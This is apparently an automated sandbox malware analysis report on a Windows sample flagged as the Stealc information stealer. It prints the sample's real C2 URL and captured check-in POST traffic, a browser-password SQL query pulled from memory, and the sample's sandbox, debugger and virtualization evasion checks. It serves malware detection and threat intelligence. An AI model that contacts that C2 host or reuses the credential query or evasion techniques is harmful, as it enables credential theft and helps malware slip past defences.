Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1520474
MD5:	219066ac9697d1cdeb536bc4ea74c123
SHA1:	a8f5b34c40766dbf7ae0140c581dc23c5d75918f
SHA256:	ce8350a94bca9e1e552275527845443db7c0d0159e34e53220bfe38fed03e041
Tags:	exeStealcuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 1216 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 219066AC9697D1CDEB536BC4EA74C123)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "save"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2045915798.00000000052E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2090680717.00000000015CE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 1216	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 1216	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.940000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T11:26:07.373709+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.940000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "save"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0094C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_0094C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00949AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00949AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00947240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00947240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00949B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00949B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00958EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00958EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009538B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_009538B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00954910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00954910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0094DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0094DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0094E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0094E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0094ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0094ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00954570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00954570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0094F68A FindFirstFileA,	0_2_0094F68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0094F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0094F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00953EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00953EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009416D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_009416D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0094DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0094DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0094BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0094BE70

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFBAECBAEGDGDHIEHIJJHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 45 36 33 33 39 39 32 46 39 46 35 31 36 36 30 34 39 33 34 38 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 4a 2d 2d 0d 0a Data Ascii: ------KFBAECBAEGDGDHIEHIJJContent-Disposition: form-data; name="hwid"AE633992F9F51660493485------KFBAECBAEGDGDHIEHIJJContent-Disposition: form-data; name="build"save------KFBAECBAEGDGDHIEHIJJ--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00944880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00944880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFBAECBAEGDGDHIEHIJJHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 45 36 33 33 39 39 32 46 39 46 35 31 36 36 30 34 39 33 34 38 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 4a 2d 2d 0d 0a Data Ascii: ------KFBAECBAEGDGDHIEHIJJContent-Disposition: form-data; name="hwid"AE633992F9F51660493485------KFBAECBAEGDGDHIEHIJJContent-Disposition: form-data; name="build"save------KFBAECBAEGDGDHIEHIJJ--

Source: file.exe, 00000000.00000002.2090680717.00000000015CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2090680717.0000000001628000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2090680717.0000000001615000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2090680717.0000000001615000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/I~
Source: file.exe, 00000000.00000002.2090680717.0000000001628000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2090680717.00000000015CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2090680717.00000000015CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php2
Source: file.exe, 00000000.00000002.2090680717.0000000001628000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpW
Source: file.exe, 00000000.00000002.2090680717.0000000001628000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpd
Source: file.exe, 00000000.00000002.2090680717.0000000001628000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpo?
Source: file.exe, 00000000.00000002.2090680717.0000000001628000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/n

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CD686F	0_2_00CD686F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C8007B	0_2_00C8007B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE2980	0_2_00CE2980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D0BA07	0_2_00D0BA07
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D083F6	0_2_00D083F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CFE3AB	0_2_00CFE3AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D15B68	0_2_00D15B68
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BB5C61	0_2_00BB5C61
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C5141F	0_2_00C5141F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D0D5C0	0_2_00D0D5C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D035E1	0_2_00D035E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BFB5DF	0_2_00BFB5DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C2056B	0_2_00C2056B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CBCD12	0_2_00CBCD12
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BF3E99	0_2_00BF3E99
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CFFEB7	0_2_00CFFEB7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D09E54	0_2_00D09E54
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CD2642	0_2_00CD2642
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BC77A9	0_2_00BC77A9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D0EFFD	0_2_00D0EFFD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C1270D	0_2_00C1270D

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 009445C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: pypkqjdw ZLIB complexity 0.9947862861570248

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00958680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00958680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00953720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00953720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\6MDZQ8MF.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000002.2090680717.00000000015CE000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: SELECT origin_url, username_value, password_value FROM logins;

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1828864 > 1048576

Source: file.exe

Static PE information: Raw size of pypkqjdw is bigger than: 0x100000 < 0x198600

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.940000.0.unpack :EW;.rsrc :W;.idata :W; :EW;pypkqjdw:EW;fqpfwnfj:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;pypkqjdw:EW;fqpfwnfj:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00959860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00959860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1caa0f should be: 0x1cca40

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: pypkqjdw
Source: file.exe	Static PE information: section name: fqpfwnfj
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CB88C2 push 45D11B5Ch; mov dword ptr [esp], ebx	0_2_00CB88F4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CB88C2 push 1B3F5D88h; mov dword ptr [esp], edx	0_2_00CB89CE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CB88C2 push 17EE9B89h; mov dword ptr [esp], ecx	0_2_00CB89E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CB88C2 push ebp; mov dword ptr [esp], edx	0_2_00CB8A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CB88C2 push 7ACF34A2h; mov dword ptr [esp], ecx	0_2_00CB8A96
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CB88C2 push eax; mov dword ptr [esp], ebp	0_2_00CB8AA2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DAC8C4 push 3D0B2B3Ch; mov dword ptr [esp], esp	0_2_00DAC93D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D860FD push 5CEB16B2h; mov dword ptr [esp], ebx	0_2_00D8613D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D860FD push 3919A446h; mov dword ptr [esp], eax	0_2_00D8617F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CAF8FE push ebp; mov dword ptr [esp], edi	0_2_00CAF9AC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CAF8FE push ecx; mov dword ptr [esp], E60C94C7h	0_2_00CAF9E7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DD309C push edi; mov dword ptr [esp], ebp	0_2_00DD30D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DD309C push ecx; mov dword ptr [esp], 5FF79B79h	0_2_00DD30E7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D2D885 push edi; mov dword ptr [esp], esi	0_2_00D2D8A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C38099 push edx; mov dword ptr [esp], 12A2CCC0h	0_2_00C380DB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C38099 push 37E74602h; mov dword ptr [esp], eax	0_2_00C3813C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DE0085 push ebp; mov dword ptr [esp], ecx	0_2_00DE00AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DE0085 push 4785A463h; mov dword ptr [esp], ebp	0_2_00DE00C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D4485E push 5DD3F517h; mov dword ptr [esp], eax	0_2_00D448A4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D7B859 push ebp; mov dword ptr [esp], ebx	0_2_00D7B896
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D6F059 push ebp; mov dword ptr [esp], esi	0_2_00D6F067
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0095B035 push ecx; ret	0_2_0095B048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D71076 push ebx; mov dword ptr [esp], edx	0_2_00D71098
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CD686F push 65287EA0h; mov dword ptr [esp], ebx	0_2_00CD689D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CD686F push 5DEB55EAh; mov dword ptr [esp], edx	0_2_00CD69DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CD686F push edx; mov dword ptr [esp], esi	0_2_00CD6A83
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CD686F push ebx; mov dword ptr [esp], ebp	0_2_00CD6ADB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CD686F push edx; mov dword ptr [esp], esp	0_2_00CD6ADF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FD304D push ebp; mov dword ptr [esp], 67FEB9D0h	0_2_00FD30CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FD304D push edi; mov dword ptr [esp], esi	0_2_00FD310B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FD304D push 6A8AA740h; mov dword ptr [esp], ebx	0_2_00FD3148

Source: file.exe

Static PE information: section name: pypkqjdw entropy: 7.954735554227634

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00959860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13407

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFDEB7 second address: CFDEDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 ja 00007F0D344F4AB6h 0x0000000c popad 0x0000000d jmp 00007F0D344F4AC3h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFDEDD second address: CFDEE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D14F67 second address: D14F76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F0D344F4AB6h 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D14F76 second address: D14FAF instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0D34B708F6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jng 00007F0D34B708FAh 0x00000012 popad 0x00000013 pushad 0x00000014 jl 00007F0D34B708FEh 0x0000001a jp 00007F0D34B708F6h 0x00000020 push ecx 0x00000021 pop ecx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F0D34B70901h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D15272 second address: D15278 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17D81 second address: D17D85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D17D85 second address: D17D8B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
